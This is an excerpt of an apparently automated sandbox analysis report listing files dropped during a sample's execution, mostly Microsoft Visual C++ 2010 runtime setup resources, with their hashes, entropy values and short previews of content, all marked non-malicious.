Entropy (8bit):	5.9724110685335825
Encrypted:	false
SSDEEP:	192:fc2+tUfwZWPl53LmlVlSW1g+/axw0lczWpXEWUQKPnEtObMacxc8hjeyveCXzHbk:hzuwLmlCW1g+/kmzWpXEWULXci2jpv3e
MD5:	7C136B92983CEC25F85336056E45F3E8
SHA1:	0BB527E7004601E920E2AAC467518126E5352618
SHA-256:	F2E8CA58FA8D8E694D04E14404DEC4E8EA5F231D3F2E5C2F915BD7914849EB2B
SHA-512:	06DA50DDB2C5F83E6E4B4313CBDAE14EED227EEC85F94024A185C2D7F535B6A68E79337557727B2B40A39739C66D526968AAEDBCFEF04DAB09DC0426CFBEFBF4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Auu2j0pT0B.exe, Detection: malicious, Browse Filename: WIN_SCM_RDM_INSTALL_4.0.4.0.EXE, Detection: malicious, Browse Filename: WIN_SCM_RDM_INSTALL_4.0.4.0.EXE, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Kiwi_Syslog_Server_9.8.2.Freeware.setup.exe, Detection: malicious, Browse Filename: ESjy0irMIn.exe, Detection: malicious, Browse Filename: dotNetFx40_Full_setup.exe, Detection: malicious, Browse Filename: Scotiabank_Scanner_Driver_DigitalCheck-42180-1310v3.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................@......E.....@.......................................... ..X............ ..X............................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\1028\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	188446
Entropy (8bit):	4.98936861773382
Encrypted:	false
SSDEEP:	3072:vjB8N7T+SN6FY5PmQlivKawlrIMUkYfkv8CshgJNgRJAoJvIrOJBElrhzxQXK6uG:o7SSN6FYtmQlivKawlrIMUkYfkv8Cs4U
MD5:	129D8E8824B0D545ADC29E571A6E2C02
SHA1:	5A1DDFCD2AE21D96C818D315CB5E263F525A39CD
SHA-256:	83B8268E2874699227F9B1AD3F72A06CBF474EFA3983F5C5EE9BFE415DB98476
SHA-512:	1048F646D5866DC8736DB0A023A65A7E208A5F56774FA8EC5D59E4272A54A9A6E94B01B84293A7EC9F889BAD7865522E783AF30BF61BB9249687DCEAC62066D8
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch14\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt ???????????????????????????\'a1\'ec???};}{\f14\fbidi \froman\fcharset136\fprq2{\\panose 02020500000000000000}PMingLiU{\\falt \'b7\'73\'b2\'d3\'a9\'fa\'c5\'e9};}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\fa

C:\36a8a8e2fed651ec27d1eed188bb35\1031\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (615), with CRLF line terminators
Category:	dropped
Size (bytes):	41628
Entropy (8bit):	3.5773894743757726
Encrypted:	false
SSDEEP:	384:4nh+jpoHHZi8oO0GOJ2+8q6OQzxYJL/ZiITrKv:R03zzOJL/YIy
MD5:	B13FF959ADC5C3E9C4BA4C4A76244464
SHA1:	4DF793626F41B92A5BC7C54757658CE30FDAEEB1
SHA-256:	44945BC0BA4BE653D07F53E736557C51164224C8EC4E4672DFAE1280260BA73B
SHA-512:	DE78542D3BBC4C46871A8AFB50FB408A59A76F6ED67E8BE3CBA8BA41724EA08DF36400E233551B329277A7A0FE6168C5556ABE9D9A735F41B29A941250BFC4D6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".D.i.e.s.e.s. .S.e.t.u.p.p.r.o.g.r.a.m.m. .e.r.f.o.r.d.e.r.t. .e.i.n.e. .x.6.4.-.P.l.a.t.t.f.o.r.m... .E.s. .k.a.n.n. .n.i.c.h.t. .a.u.f. .d.e.r. .P.l.a.t.t.f.o.r.m. .i.n.s.t.a.l.l.i.e.r.t. .w.e.r.d.e.n..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".D.i.e.s.e.s. .S.e.t.u.p.p.r.o.g.r.a.m.m. .e.r.f.o.r.d.e.r.t. .e.i.n.e. .I.A.6.4.-.P.l.a.t.t.f.o.r.m... .E.s. .k.a.n.n. .n.i.c.h.t. .a.u.f. .d.e.r. .P.l.a.t.t.f.o.r.m. .i.n.s.t.

C:\36a8a8e2fed651ec27d1eed188bb35\1031\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18776
Entropy (8bit):	5.135663555520085
Encrypted:	false
SSDEEP:	384:lQ16m3rhGrcHN/USYvYVA9WKieW8bLXci2jXHU2Ze:lEhCSVYvYVAA+Mi2jXHU2A
MD5:	7C9AE49B3A400C728A55DD1CACC8FFB2
SHA1:	DD3A370F541010AD650F4F6AA42E0CFC68A00E66
SHA-256:	402C796FEBCD78ACE8F1C5975E39193CFF77F891CFF4D32F463F9A9C83806D4A
SHA-512:	D30FE9F78A49C533BE5C00D88B8C2E66A8DFAC6D1EAE94A230CD937F0893F6D4A0EECE59C1D2C3C8126FFA9A9648EC55A94E248CD8C7F9677F45C231F84F221B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................P.......D....@.......................................... ..`+...........2..X............................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\1031\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	163866
Entropy (8bit):	5.029712171633306
Encrypted:	false
SSDEEP:	3072:oiJ+vgRJA8J/snalBEm0OgKXIJR10GZybh2C:aQ
MD5:	117DABB5A055B09B6DB6BCBA8F911073
SHA1:	E8F5D907939400824CC5DADB681852C35CA7BB79
SHA-256:	DAEA9CD8151A2C24A87C3254DEC1DE0463234E44922C8E0AA4E01AB58EC89664
SHA-512:	E995D03998BE9F07F9E9B8566E429D3795ADBDEEEFB2048D6B8877CE15A0ABFCE4FAAEE8DC773250495C15CC35FD0040D81593B51067533836D5F3CF8612D3C4
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt ???????????????????????????\'a1\'ec???};}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\*\falt Calisto MT};}{\f38\fbidi \fswiss\fcharset0\fpr

C:\36a8a8e2fed651ec27d1eed188bb35\1033\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (565), with CRLF line terminators
Category:	dropped
Size (bytes):	39246
Entropy (8bit):	3.5443015320810485
Encrypted:	false
SSDEEP:	192:4kV2hG9aXQSDpI53/aQS0WAv+VXxwVcPI/tOiQC4+3bpKQVz5FB0zJOkue6Jjfz3:4M2hJAep4tVNx9SJOkR6NXaxu
MD5:	5486FF60B072102EE3231FD743B290A1
SHA1:	D8D8A1D6BF6ADF1095158B3C9B0A296A037632D0
SHA-256:	5CA3ECAA12CA56F955D403CA93C4CB36A7D3DCDEA779FC9BDAA0CDD429DAB706
SHA-512:	AE240EAAC32EDB18FD76982FC01E03BD9C8E40A9EC1B9C42D7EBD225570B7517949E045942DBB9E40E620AA9DCC9FBE0182C6CF207AC0A44D7358AD33BA81472
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".T.h.i.s. .s.e.t.u.p. .p.r.o.g.r.a.m. .r.e.q.u.i.r.e.s. .a.n. .x.6.4. .p.l.a.t.f.o.r.m... .I.t. .c.a.n.n.o.t. .b.e. .i.n.s.t.a.l.l.e.d. .o.n. .t.h.i.s. .p.l.a.t.f.o.r.m...". ./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".T.h.i.s. .s.e.t.u.p. .p.r.o.g.r.a.m. .r.e.q.u.i.r.e.s. .a.n. .I.A.6.4. .p.l.a.t.f.o.r.m... .I.t. .c.a.n.n.o.t. .b.e. .i.n.s.t.a.l.l.e.d. .o.n. .t.h.i.s. .p.l.a.t.f.o.r.m...". ./.>..... . . . . . .<.T.e.x.t. .

C:\36a8a8e2fed651ec27d1eed188bb35\1033\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17240
Entropy (8bit):	5.151474565875158
Encrypted:	false
SSDEEP:	192:byk5nUfwTW7JwWp0eW6jp8M+9HS8bC/TJs7kFkzQKPnEtObMacxc8hjeyveCXZBe:pgoTWp0eWB9ygC/TfFkzLXci2jpv8
MD5:	9547D24AC04B4D0D1DBF84F74F54FAF7
SHA1:	71AF6001C931C3DE7C98DDC337D89AB133FE48BB
SHA-256:	36D0159ED1A7D88000737E920375868765C0A1DD6F5A5ACBB79CF7D97D9E7A34
SHA-512:	8B6048F4185A711567679E2DE4789407077CE5BFE72102D3CB1F23051B8D3E6BFD5886C801D85B4E62F467DD12DA1C79026A4BC20B17F54C693B2F24E499D40F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........(...............................................P......<f....@.......................................... ...%...........,..X............................................................................................text...G...........................@..@.rsrc....%... ...&..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\1033\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
Category:	dropped
Size (bytes):	7080
Entropy (8bit):	4.934776172726828
Encrypted:	false
SSDEEP:	192:9fcddvfbS9u6zZ+kodpj4eQ1lhcgi5X90vJqpsSih2:y/fbSZ/odpjmlhcgi5NSkRA2
MD5:	19D028345AADCC05697EEC6D8C5B5874
SHA1:	70BD3D4D51373FB82F0257F28D5F3609BFC82520
SHA-256:	F4FF4EACE31B75176A0806E1693041D546D2599AEC0C77D295BAD09CAC7D9FE7
SHA-512:	9B3DFFEC7C1595197AF69E59094588541558BEF56982475DDDD2C9E3D75FC8B970B384452713632AE20435EC0CAEC6CC4CD8CEC9CD4B4809335FDC9F2CC7B842
Malicious:	false
Preview:	{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2508;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\b\f0\fs20 MICROSOFT SOFTWARE LICENSE TERMS\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0 MICROSOFT VISUAL C++ 2010 RUNTIME LIBRARIES\f1\par..\pard\nowidctlpar\sb120\sa120\b0\f0 These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates) and you. Please read them. They apply to the software named above, which includes the media on which you received it, if any. The terms also apply to any Microsoft\f1\par..\pard\nowidctlpar\fi-360\li360\sb120\sa120\tx360\f2\'b7\tab\f0 updates,\f1\par..\f2\'b7\tab\f0 supplements,\f1\par..\f2\'b7\tab\f0 Internet-based services, and \f1\par..\f2\'b7\tab\f0 support services\f1\par.

C:\36a8a8e2fed651ec27d1eed188bb35\1036\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (619), with CRLF line terminators
Category:	dropped
Size (bytes):	41524
Entropy (8bit):	3.5542569352968996
Encrypted:	false
SSDEEP:	192:4GrYAiJoFb1Z0eQiFaD4EbJeiI5l9MwLnIBknXoFXYnZCoroUnAJJFHq20/kFR/0:4GZwoR1c5ryhnbHIJR0kbG52gjfVv
MD5:	4CE519F7E9754EC03768EDEEDAEED926
SHA1:	213AE458992BF2C5A255991441653C5141F41B89
SHA-256:	BC4CA5AD609F0DD961263715E1F824524C43E73B744E55F90C703B759CAE4D31
SHA-512:	8F2FF08A234D8E2E6BA85DE3CD1C19A0B372D9FCA4FF0FC1BBA7FE7C5A165E933E2AF5F93FC587E9230A066B70FB55D9F58256DB509CC95A3B31D349F860F510
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".C.e. .p.r.o.g.r.a.m.m.e. .d.'.i.n.s.t.a.l.l.a.t.i.o.n. .r.e.q.u.i.e.r.t. .u.n.e. .p.l.a.t.e.f.o.r.m.e. .x.6.4... .I.l. .n.e. .p.e.u.t. .p.a.s. ...t.r.e. .i.n.s.t.a.l.l... .s.u.r. .c.e.t.t.e. .p.l.a.t.e.f.o.r.m.e..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".C.e. .p.r.o.g.r.a.m.m.e. .d.'.i.n.s.t.a.l.l.a.t.i.o.n. .r.e.q.u.i.e.r.t. .u.n.e. .p.l.a.t.e.f.o.r.m.e. .I.A.6.4... .I.l. .n.e. .p.e.u.t. .p.a.s. ...t.r.e. .i.n.s.t.a.

C:\36a8a8e2fed651ec27d1eed188bb35\1036\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18776
Entropy (8bit):	5.112489568342605
Encrypted:	false
SSDEEP:	384:J7Z66AY9li3OoDDkbiWpQeWELXci2jpv8:JffiZDgycMi2jpv8
MD5:	93F57216FE49E7E2A75844EDFCCC2E09
SHA1:	DCCD52787F147E9581D303A444C8EE134AFC61A8
SHA-256:	2506827219B461B7C6C862DAE29C8BFF8CB7F4A6C28D2FF60724CAC70903987D
SHA-512:	EADFFB534C5447C24B50C7DEFA5902F9EB2DCC4CF9AF8F43FA889B3367EA25DFA6EA87FF89C59F1B7BBF7106888F05C7134718021B44337AE5B7D1F808303BB1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................P......B\|....@.......................................... ...+...........2..X............................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\1036\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	162915
Entropy (8bit):	5.023428742885146
Encrypted:	false
SSDEEP:	3072:Xn6ipERiA7JzI3ilBEBr97dQnKG5zpZ27KN4:KiZ
MD5:	BBBBB0BDA00FDA985BB39FEE5FD04FF8
SHA1:	3053CF30FAD92F133AD3EA7EEFB8C729D323EA00
SHA-256:	3CB591E6801E91FE58E79449F7C99B88C3BA0ACE5D922B4AA0C8F2CDD81854BD
SHA-512:	32CC1B0F033B13D7614F8BD80DE4D3F9D4668632010BCB563E90773FB2F4971D19206C46B0C2B0E55308CA14F4DEAF5EB415DAE5F2C0C4331B5DF0AE44B2F61E
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff38\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt ????????????????????????????\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma{\\falt ?? ??};}{\f39\fbidi \fswiss\f

C:\36a8a8e2fed651ec27d1eed188bb35\1040\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (601), with CRLF line terminators
Category:	dropped
Size (bytes):	40320
Entropy (8bit):	3.5296220359665447
Encrypted:	false
SSDEEP:	384:4h9o3CMa9e1yzNZNs4fLCAEJ0o5H/PuRv:9aug8J1u
MD5:	FE6B23186C2D77F7612BF7B1018A9B2A
SHA1:	1528EC7633E998F040D2D4C37AC8A7DC87F99817
SHA-256:	03BBE1A39C6716F07703D20ED7539D8BF13B87870C2C83DDDA5445C82953A80A
SHA-512:	40C9C9F3607CAB24655593FC4766829516DE33F13060BE09F5EE65578824AC600CC1C07FE71CDD48BFF7F52B447FF37C0D161D755A69AC7DB7DF118DA6DB7649
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.l. .p.r.o.g.r.a.m.m.a. .d.i. .i.n.s.t.a.l.l.a.z.i.o.n.e. .r.i.c.h.i.e.d.e. .u.n.a. .p.i.a.t.t.a.f.o.r.m.a. .x.6.4... .I.m.p.o.s.s.i.b.i.l.e. .e.s.e.g.u.i.r.e. .l.'.i.n.s.t.a.l.l.a.z.i.o.n.e. .s.u. .q.u.e.s.t.a. .p.i.a.t.t.a.f.o.r.m.a..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.l. .p.r.o.g.r.a.m.m.a. .d.i. .i.n.s.t.a.l.l.a.z.i.o.n.e. .r.i.c.h.i.e.d.e. .u.n.a. .p.i.a.t.t.a.f.o.r.m.a. .I.A.6.4... .I.m.p.o.s.s.i.b.i.l.

C:\36a8a8e2fed651ec27d1eed188bb35\1040\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18264
Entropy (8bit):	5.142702232041524
Encrypted:	false
SSDEEP:	384:77n6Tg7AtONBKHno5hWXeWFLXci2jpvz2:7XAbs+ZMi2jpvz2
MD5:	E4860FC5D4C114D5C0781714F3BF041A
SHA1:	864CE88E8AB1DB9AFF6935F9231521B6B72D5974
SHA-256:	6B2D479D2D2B238EC1BA9D14F9A68DC552BC05DCBCC9007C7BB8BE66DEFC643B
SHA-512:	39B0A97C4E83D5CCA1CCCCE494831ADBC18DF1530C02E6A2C13DAE66150F66A7C987A26CECB5587EA71DD530C8BE1E46922FE8C65AE94145D90B0A057C06548D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P......^.....@.......................................... ...)...........0..X............................................................................................text...G...........................@..@.rsrc....0... ...*..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\36a8a8e2fed651ec27d1eed188bb35\1040\eula.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	189369
Entropy (8bit):	4.993456059906976
Encrypted:	false
SSDEEP:	3072:8K91dpBgRJA8J/snalBEm0OgKXIJR10GZybh2C:8aK
MD5:	F1602100F6C135AB5D8026E9248BAF02
SHA1:	DEBE92E8761F5320352DCFFE844FB25A10E9EA14
SHA-256:	284A8BBA438DA22A1B4F497B0B4ED1D9886184859527B87FF7350C83F198AB2D
SHA-512:	2A0FBEF3114B54EDB400D913D317A5097801834BEE0FB536B0FF645DD1CA40A1451945AD563119A5BA80F26B51CDA8B23E93BE71D7C82723AFEDE3CBF1DA00C6
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman{\\falt ?l?r ???fc};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Times};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt ?????????????????????????????\'a1\'ec?};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma{\\falt ?? ??};}{\f39\fbidi \fsw

C:\36a8a8e2fed651ec27d1eed188bb35\1041\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (440), with CRLF line terminators
Category:	dropped
Size (bytes):	34294
Entropy (8bit):	4.383454074704535
Encrypted:	false
SSDEEP:	192:4O3Oo45AyAYcou3DDn6UrMhsrHZmxqJOXhNCGYHre3iR7v:4O3OoMIYcBCOXJ6koIv
MD5:	6F86B79DBF15E810331DF2CA77F1043A
SHA1:	875ED8498C21F396CC96B638911C23858ECE5B88
SHA-256:	F0F9DD1A9F164F4D2E73B4D23CC5742DA2C39549B9C4DB692283839C5313E04F
SHA-512:	CA233A6BF55E253EBF1E8180A326667438E1124F6559054B87021095EF16FFC6B0C87361E0922087BE4CA9CABD10828BE3B6CC12C4032CB7F2A317FDBD76F818
Malicious:	false
